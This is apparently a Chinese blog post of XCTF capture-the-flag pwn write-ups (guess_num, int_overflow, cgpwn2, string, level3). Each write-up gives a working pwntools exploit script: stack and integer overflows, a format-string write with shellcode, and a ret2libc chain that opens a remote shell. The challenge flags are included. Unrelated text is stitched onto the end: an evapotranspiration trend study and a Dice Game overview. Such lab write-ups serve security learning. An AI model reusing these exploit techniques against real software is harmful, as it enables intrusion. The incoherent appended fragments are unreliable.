XCTF-pwn(二)

guess_num

看一下文件信息

在这里插入图片描述

利用gets函数将seed[0]给覆盖掉

在这里插入图片描述

在这里插入图片描述

距离0x20

在这里插入图片描述

我们需要输入十次随机数产生的值

在这里插入图片描述

写一个c程序先预判当seed是a的时候产生的随机数分别是多少

在这里插入图片描述

payload

from pwn import*
from ctypes import*
context.log_level='debug'

r=remote("61.147.171.105", 62815)

payload=b'a'*0x20+p64(1)
print(payload)
r.recvuntil('Your name:')
r.sendline(payload)
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
for i in range(10):
        r.recvuntil('number:')
        r.sendline(str(libc.rand()%6+1))
        
r.interactive()

flag:cyberpeace{2e7c160cb62a80184191528b13ddc215}

int_overflow

看一下文件信息

在这里插入图片描述

找到溢出点strcpy(dest,s)

在这里插入图片描述

best距离栈底0x14

在这里插入图片描述

这里存在整数溢出,v3最大为255

在这里插入图片描述

我们需要返回的地方

在这里插入图片描述

payload

from pwn import*

r=remote("61.147.171.105", 54712)

payload = b'a'*0x14 + b'a'*4 + p32(0x0804868B) + b'a'*235
r.sendlineafter("choice:",'1')
r.sendlineafter("username:",'www')
r.sendlineafter("passwd:",payload)
        
r.interactive()

flag:cyberpeace{63e478a14fceae29048fee68e5021529}

cgpwn2

看一下文件信息

在这里插入图片描述

放入ida,把/bin/bash写入name,再利用gets进行栈溢出

在这里插入图片描述

在这里插入图片描述

s大小

在这里插入图片描述

在这里插入图片描述

payload

from pwn import*

r=remote("223.112.5.141", 49209)

name_addr = 0x0804A080
system_addr = 0x0804855A
payload = b'a' * (0x26 + 0x4) + p32(system_addr) + p32(name_addr)
r.sendlineafter("please tell me your name\n", '/bin/sh')
r.sendlineafter("hello,you can leave some message here:\n",payload)

        
r.interactive()

flag:cyberpeace{55c8bc9b4f3bc2b669a2bb0890542431}

string

文件信息

在这里插入图片描述

存在格式化字符串

在这里插入图片描述

我们要让他执行到这里

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

payload

from pwn import *

r = remote("223.112.5.141", 60388)

r.recvuntil("secret[0] is".encode())
addr = int(r.recvuntil(b"\n")[:-1], 16)
r.recvuntil("What should your character's name be:\n".encode())
r.sendline("aaa")
r.recvuntil("So, where you will go?east or up?:\n".encode())
r.sendline("east")
r.recvuntil("go into there(1), or leave(0)?:\n".encode())
r.sendline("1")
r.recvuntil("'Give me an address'\n".encode())
r.sendline(str(addr))
r.recvuntil("And, you wish is:\n".encode())
payload = b'a' * 85 + "%7$n".encode()
r.sendline(payload)
shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
print(shellcode)
r.sendline(shellcode)

r.interactive()

flag:cyberpeace{7ed4bded12c985f033ff0fdd1a538af6}

level3

文件信息

在这里插入图片描述

main函数

在这里插入图片描述

vulnerable_function函数,return read(0, buf, 0x100u);存在溢出

在这里插入图片描述

libc中的函数的相对地址是固定的,要想获取到system函数的地址,可以通过write()函数进行offset计算。
payloa

from pwn import *

# 建立远程连接
r = remote("61.147.171.105", 65412)

# 使用ELF执行程序
elf_level3 = ELF('./level3')
elf_libc = ELF('./libc_32.so.6')
# 获得write()plt表地址
write_plt = elf_level3.plt['write']
# 获得write()got表地址
write_got = elf_level3.got['write']
# 获得mian函数实际地址
main_addr = elf_level3.symbols['main']
# 当程序执行到输出'Input:\n'时开始攻击read()函数
r.recvuntil('Input:\n')
# 'a'*(0x88+0x4):用于填充程序缓冲区及ebp地址,随便什么字符,填满就行
# p32(write_plt):用于覆盖返回地址,使用plt调用write()函数
# p32(main_addr):设置write()的返回地址为main();因为这一步payload只是为了返回write()的got地址,后续的实际攻击还需要继续使用main函数的read()方法,所以write()执行完毕后需要返回到main()
# p32(0):write()第一个参数,只要转换为p32格式就行
# p32(write_got):返回write()got表地址,这就是这句payload需要得到的信息
# p32(4):读入4个字节,也就是write()got表地址
payload_1 = b'a' * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(4)
r.sendline(payload_1)
# 获得write()got表地址
write_got = (u32(r.recv()))
# 计算libc库中的write()地址与level3的write()地址的偏差
libc_py_deviation = write_got - elf_libc.symbols['write']
# 由于偏移是相同的,将偏差值加上libc库中的system地址,便得到了level3中system的实际地址
sys_addr = libc_py_deviation + elf_libc.symbols['system']
# /bin/sh在libc库的位置可以通过string命令配合管道符查看
# strings -a -t x libc_32.so.6 | grep "/bin/sh"
# 计算/bin/sh的实际地址,原理和system一样
binsh_addr = libc_py_deviation + 0x15902b
# 重新返回main函数,再次执行到输出'Input:\n'时,开始第二次攻击
r.recvuntil('Input:\n')
# p32(sys_addr):覆盖返回地址,跳转到system地址
# p32(0):覆盖system函数的返回地址,我们目的是获得/bin/sh,所以不care它返回到哪,填充4个字节就行
# p32(binsh_addr):传入system的参数/bin/sh
payload_2 = b'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(binsh_addr)
r.sendline(payload_2)

r.interactive()

flag:cyberpeace{550a1e0daec9fc8b9a839c1f36d7eeb7}

本研究利用Sen+MK方法分析了特定区域内的ET(蒸散发)趋势,重点评估了使用遥感数据的ET空间变化。该方法结合了Sen斜率估算器和Mann-Kendall(MK)检验,为评估长期趋势提供了稳健的框架,同时考虑了时间变化和统计显著性。 主要过程与结果: 1.ET趋势可视化:研究利用ET数据,通过ET-MK和ET趋势图展示了蒸散发在不同区域的空间和时间变化。这些图通过颜色渐变表示不同的ET水平及其趋势。 2.Mann-Kendall检验:应用MK检验来评估ET趋势的统计显著性。检验结果以元分类图呈现,标明ET变化的显著性,帮助识别出有显著变化的区域。 3.重分类结果:通过重分类处理,将区域根据ET变化的显著性进行分类,从而聚焦于具有显著变化的区域。这一过程确保分析集中在具有实际意义的发现上。 4.最终输出:最终结果以栅格图和png图的形式呈现,支持各种应用,包括政策规划、水资源管理和土地利用变化分析,这些都是基于详细的时空分析。 ------------------------------------------------------------------- 文件夹构造: data文件夹:原始数据,支持分析的基础数据(MOD16A2H ET数据 宁夏部分)。 results文件夹:分析结果与可视化,展示研究成果。 Sen+MK_optimized.py:主分析脚本,适合批量数据处理和自动化分析。 Sen+MK.ipynb:Jupyter Notebook,复现可视化地图。
### 关于Dice Game在XCTF竞赛中的问题材料 #### 题目概述 Dice Game 是 XCTF 竞赛中的一道 PWN 类型题目,该进制文件具有特定的安全特性配置。通过 `checksec` 工具检测发现此程序启用了完整的RELRO和NX位,但是未启用栈 Canary保护措施,并且支持PIE地址空间布局随机化[^1]。 #### 安全特征分析 - **架构**: 支持amd64架构下的小端模式。 - **RELRO (重定位读只)**: 启用完全版,有助于防止攻击者利用某些类型的内存破坏漏洞。 - **Stack Canaries(堆栈金丝雀)**: 缺失这项防护意味着可能存在缓冲区溢出风险。 - **NX Bit (No-eXecute bit, 数据执行保护)**: 开启状态阻止了恶意代码注入到数据区域并被执行的可能性。 - **PIE (位置独立可执行文件)**: 此选项使得每次加载时基址不同从而增加了预测返回地址难度。 #### 示例代码展示如何基于给定种子生成一系列伪随机数值 为了模拟骰子游戏内部可能使用的随机序列,下面给出了一段C语言源码片段用于重现这一过程: ```c #include <stdio.h> #include <stdlib.h> int main(){ unsigned int seed; seed = 0x30303030; // 设定固定的种子值 srand(seed); for(int i=0;i<50;i++) printf("%d\n", rand()); return 0; } ``` 这段代码初始化了一个已知的seed之后调用了`srand()`函数来设置随机数发生器的状态;接着在一个循环里连续打印出了由`rand()`产生的前五十个整数结果[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值